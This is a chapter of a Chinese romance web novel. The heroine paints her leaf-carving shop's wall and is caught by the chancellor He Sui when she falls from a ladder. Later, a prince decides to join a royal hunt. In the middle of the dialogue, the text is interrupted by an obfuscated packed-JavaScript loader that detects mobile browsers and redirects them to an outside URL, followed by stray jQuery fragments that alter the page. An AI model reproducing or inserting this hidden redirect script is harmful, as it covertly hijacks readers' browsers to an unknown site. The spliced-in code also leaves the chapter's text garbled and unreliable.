12. 第十二章

作品:《其叶蓁蓁

    “夫人,小心一点!”梯子底下围着一众的婢女。


    她们的目光紧紧地盯着踩着梯子的白枝念,生怕她突然掉下来。


    白枝念一只手提着一桶颜料,一只手拿着个巨大的毛笔,底下的脚用力地在梯子上稳住平衡。


    她的手腕贴着粗糙的墙壁,神情专注地在墙壁上作画着。


    古代不像现代有各流网络媒体可以用于宣传推广,路人只有进了店,才能知道店铺里面卖什么。


    开业的繁荣在一点点消退,白枝念昨晚辗转反侧了一夜,决定在店面上做点工程吸引顾客进来。


    于是今天一大早,天刚蒙蒙亮,白枝念去买了画材铺买了点颜料,她本身就有些绘画功底,此刻打算在店铺的墙面上画些装饰,再添些店铺主营的叶雕,让街上的顾客能够一眼先注意在这里。


    白枝念小心翼翼地沾取些颜料,在墙面上细细地勾勒着。


    底下的白奚静静地给她扶着梯子,眼睛一眨都不眨地盯着白枝念。


    他在京城街上流浪这么多年,所见所闻无数,但从来没有见过跟白枝念一样的人,有这么多新奇的事物,更有这么多闻所未闻的想法。


    终于,白枝念满意地把笔丢进水桶,往后轻轻一仰,满意地看着整个墙面。


    此时周围也已经吸引了一大批围观的百姓,他们也都惊奇地看着白枝念刚刚画完的墙面。


    “以前只知白小姐弹着一首好琴,却不知道白小姐连画技也这么出众。”一位路人忍不住赞叹道。


    白枝念听到,下意识地用手轻轻蹭了蹭鼻子,有些不好意思。


    琴艺都是原主的,要是现在真给她搬架古琴过来,她是一个音也不会弹。


    白枝念提着水桶,准备从梯子上下来,白奚见到白枝念要下来,连忙更紧地握住了梯子。


    谁知,白枝念刚踩到第二个木板,只听咔嚓一声,白枝念一时没有反应过来,就感到自己的身体正在往下坠落!


    白奚也神色一惊,下意识地想要伸出手去接白枝念。


    可他刚刚伸出胳膊,一片黑色的阴影突然闪到他的面前,紧接着,一股力气狠狠得推开了他。


    白枝念正闭上眼睛,准备迎接接下来的疼痛,她知道白奚身体赢弱,肯定接不住她。


    下一秒,她只感受到了她坠入了一个微凉的怀里。


    她猛然睁开了眼睛,看见了自己面前的贺绥,不由得一怔。


    “相爷?”她顿时瞪大了眼睛,脱口而出。


    “嗯。”贺绥淡淡地应了一声。


    白枝念感受到自己整个人都在被贺绥抱住,他的黑色衣袖冰凉,沾上了清晨的朝露,金丝线勾勒的花纹擦过她的手心,有些微微发酥。


    而贺绥的一缕散发也落在她的肩膀上,带着冷冽的气息。


    贺绥轻轻地把她放回了地上,周围婢女都目瞪口呆地看着贺绥和白枝念,只有白奚面露不善地看着贺绥,眼中隐隐透着一丝敌意。


    贺绥注意到白奚的目光,只是淡淡地扫了一眼,对白枝念说道,“下次找人扶梯子找个力气大的,哪怕你不小心踩空,也可以不让你受伤。”


    白枝念看着白奚的脸色更差了,又连忙拉了拉贺绥衣袖,“他平时力气也挺大的。”


    “就他那小身板能接住什么。”贺绥挑了眉,不以为然地说道。


    白枝念看着两边的气氛瞬间不太对,连忙紧急地转移了话题,“刚才多谢了相爷,不过今天相爷怎么来了。”


    “下早朝路过。”贺绥转过头来,视线轻轻落在白枝念的脸上。


    白枝念的左侧脸颊上沾上了几滴红色的颜料,在白皙的皮肤的映衬下,显得格外引人注目。


    贺绥前几日病好了,就恢复了自己的平常生活,但那天晚上的白枝念照顾他的事,两人却心有灵犀地没有提起。


    两人平时回府的时间也各不相同,平日也根本碰不到面,即使碰到了也是客气地打个招呼点个头,仿佛那夜的暧昧氛围只是一场梦。


    今日贺绥刚好下朝经过白枝念的叶雕铺,路过的时候,还是忍不住掀起了帘子。


    正好看到白枝念在画些什么,贺绥立马叫了王管事停车,想要看看白枝念又弄了什么新东西。


    他知道白枝念的店铺在京城火爆,也知道白枝念的一个个想法层出不穷,这次他也好奇白枝念又弄了什么新颖的东西。


    刚走了过来,便看到白枝念踩的木板断裂,直直地坠落下来,贺绥来不及多想,一个箭步冲上去,稳稳地把她接住。


    “相爷要不要进去看看?”白枝念忽然想起,似乎自从那次贺绥帮自己赶走白家人以后,就没有进过叶雕铺。


    贺绥轻轻地点了点头,白枝念便在前面带路,领着他进去。


    贺绥环顾四周,各类叶雕井然有序地摆放在柜子上,整个店铺整整齐齐的,地面上也是一尘不染。


    “挺不错的。”


    白枝念听到这话,也眉眼弯弯,“叶雕铺做到现在,也有相爷的功劳。”


    “不,跟我没关系,这都是你的努力。”贺绥淡淡地说道。


    明眼人都能看出白枝念为这叶雕铺注入了多少心血。


    就在白枝念和贺绥聊天时,忽然叶雕铺有一位捋着白须的老头突然惊叫起来,“这不是左相吗?”


    白枝念向后看去,贺绥也微微一笑,“赵老,好久不见了。怎么来京城了?”


    “人老了,还有点闲钱就喜欢到处走走,这一来二去就到了京城。”赵老笑着说。


    见白枝念疑惑,贺绥跟她简单介绍,“这是以前的兵部侍郎,前几年就辞官还乡了。”


    白枝念也对他行了个礼,赵老看着她和蔼地笑了笑,转头看向贺绥问道,“左相,这就是你前几月娶回来的白家小姐吗。”


    贺绥还没有回答,紧接着赵老笑着继续说道,“你们俩感情不错啊,左相这样的大忙人都居然会出现在京城的店铺里。”


    周围人听到这话,纷纷转过头来,眼神中满是好奇,不住地打量着白枝念和贺绥。


    贺绥顿时停住了,其他人见贺绥没出声,也有几个大着胆子地说道。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14888711|159879||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “这个时间左相才刚刚下早朝,就来看夫人了,这才从早上分开这么一小会,谁还看不出左相和他夫人可恩爱了。”


    白枝念瞪大了眼睛,心中满是诧异。


    这什么情况,古代人也爱这么磕cp吗??


    关键是她和贺绥根本就不熟啊!


    贺绥的耳肉眼可见地红了起来,他轻咳一声,故作镇定地说道,“赵老,你这么喜欢打听人的毛病还是没变。”


    赵老看贺绥没有顺着他反驳,凭着对贺绥多年的了解,心里也门清,乐呵呵地笑道,“你们俩的份子钱我还没有送来,来日我亲自送到左相府。”


    白枝念更是一句也说不出来话来,站在门口的白奚沉沉地看着贺绥,神色不明。


    好不容易地送走了赵老,白枝念本来以为贺绥也很快地回府,可是又过了半个时辰,贺绥还是没有走的意思。


    白枝念忙着手上的活,没有心思去照看这尊大佛,只能让他在叶雕铺随意逛着。


    好不容易到中午了,叶雕铺的顾客终于少了许。


    正在白枝念在犹豫要不要叫人给贺绥点一份饭的时候,在柜子边上看叶雕的贺绥悠悠地抬步走过来。


    “白奚,你去给相爷到隔壁酒楼里买份饭。”白枝念刚要拿钱递给白奚。


    “不用了,一会我自己就回相府,”贺绥摇了摇头。


    “明天是我爹娘的忌日,按照贺家的习俗,你明天……”


    贺绥顿了顿,他也看的出叶雕铺很忙。


    刚刚他看到白枝念一直在刻叶雕,所以没有出声打扰。


    “好,明天我跟着你去。”白枝念一听,干脆利落地答应了。


    贺绥微微一怔,“那你的叶雕铺呢?”


    “只是一天而已,她们也可以打理的,”白枝念笑着道,“再者说了,相爷的事也很重要啊。”


    贺绥心里莫名一暖,轻轻地点了点头,“好,那你下午就打点好了,我先就回相府了。”


    -


    在不远处的王府里,屋内焚着上好的西域香料,屋内装横富丽堂皇,一颗巨大的夜明珠稳稳地放在柜子的中央。


    宇文越躺在软榻上,随手拿着信封,疑声道,“明日有皇家围猎?”


    站在一旁的小厮连忙点点头,“历年每年都是这一日,礼部那里邀请了皇室和三品以上官员,按照往年,除了左相以外,都会去参与。”


    宇文越疑惑地说,“贺绥怎么不去,听说他功夫不是还挺好的吗?”


    小厮犹豫了一会,二殿下离京多年,那件事现在又有意压下去,二殿下自然是不知道的。


    他踌躇了一下,在宇文越耳边说了几句话,宇文越挑了挑眉,声音也大了几分,“当年真有此事?”


    小厮默默地点了点头,宇文越冷笑道,“这样说来,我倒是有点可怜他了,只不过真不知道他现在爬到这个位置是为了什么,居然还能帮着皇室做事,不怕有愧于他爹娘吗?”


    随后,他把信封丢在桌上,“明天的皇家围猎,也给我报上名。”